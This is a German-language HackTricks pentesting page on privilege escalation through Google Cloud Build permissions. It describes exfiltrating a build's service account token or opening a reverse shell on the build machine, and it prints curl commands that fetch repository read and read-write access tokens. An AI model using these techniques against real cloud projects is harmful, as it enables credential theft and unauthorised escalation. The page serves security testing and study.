GCP - Cloudbuild Privesc

Unterstütze HackTricks

cloudbuild

Für weitere Informationen über Cloud Build siehe:

GCP - Cloud Build Enum

cloudbuild.builds.create

Mit dieser Berechtigung kannst du einen Cloud Build einreichen. Die Cloudbuild-Maschine hat standardmäßig ein Token des Cloudbuild Service Accounts im Dateisystem: <PROJECT_NUMBER>@cloudbuild.gserviceaccount.com. Du kannst jedoch jedem Service Account im Projekt in der Cloudbuild-Konfiguration angeben. Daher kannst du die Maschine einfach das Token an deinen Server exfiltrieren lassen oder eine Reverse Shell darin erhalten und dir selbst das Token holen (die Datei, die das Token enthält, könnte sich ändern).

Du findest das ursprüngliche Exploit-Skript hier auf GitHub (aber der Ort, von dem es das Token nimmt, hat für mich nicht funktioniert). Daher überprüfe ein Skript zur Automatisierung der Erstellung, Ausnutzung und Bereinigung einer verwundbaren Umgebung hier und ein Python-Skript, um eine Reverse Shell in der Cloudbuild-Maschine zu erhalten und es hier zu stehlen (im Code findest du, wie man andere Service Accounts angibt).

Für eine ausführlichere Erklärung besuche https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/

cloudbuild.builds.update

Potentiell kannst du mit dieser Berechtigung einen Cloud Build aktualisieren und einfach das Service Account Token stehlen, wie es mit der vorherigen Berechtigung durchgeführt wurde (aber leider konnte ich zum Zeitpunkt des Schreibens keinen Weg finden, diese API aufzurufen).

TODO

cloudbuild.repositories.accessReadToken

Mit dieser Berechtigung kann der Benutzer das Lesezugriffstoken erhalten, das zum Zugriff auf das Repository verwendet wird:

curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadToken"

cloudbuild.repositories.accessReadWriteToken

Mit dieser Berechtigung kann der Benutzer das Lese- und Schreibzugriffstoken abrufen, das zum Zugriff auf das Repository verwendet wird:

curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadWriteToken"

cloudbuild.connections.fetchLinkableRepositories

Mit dieser Berechtigung kannst du die Repos abrufen, auf die die Verbindung Zugriff hat:

curl -X GET \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>:fetchLinkableRepositories"
Unterstütze HackTricks

Last updated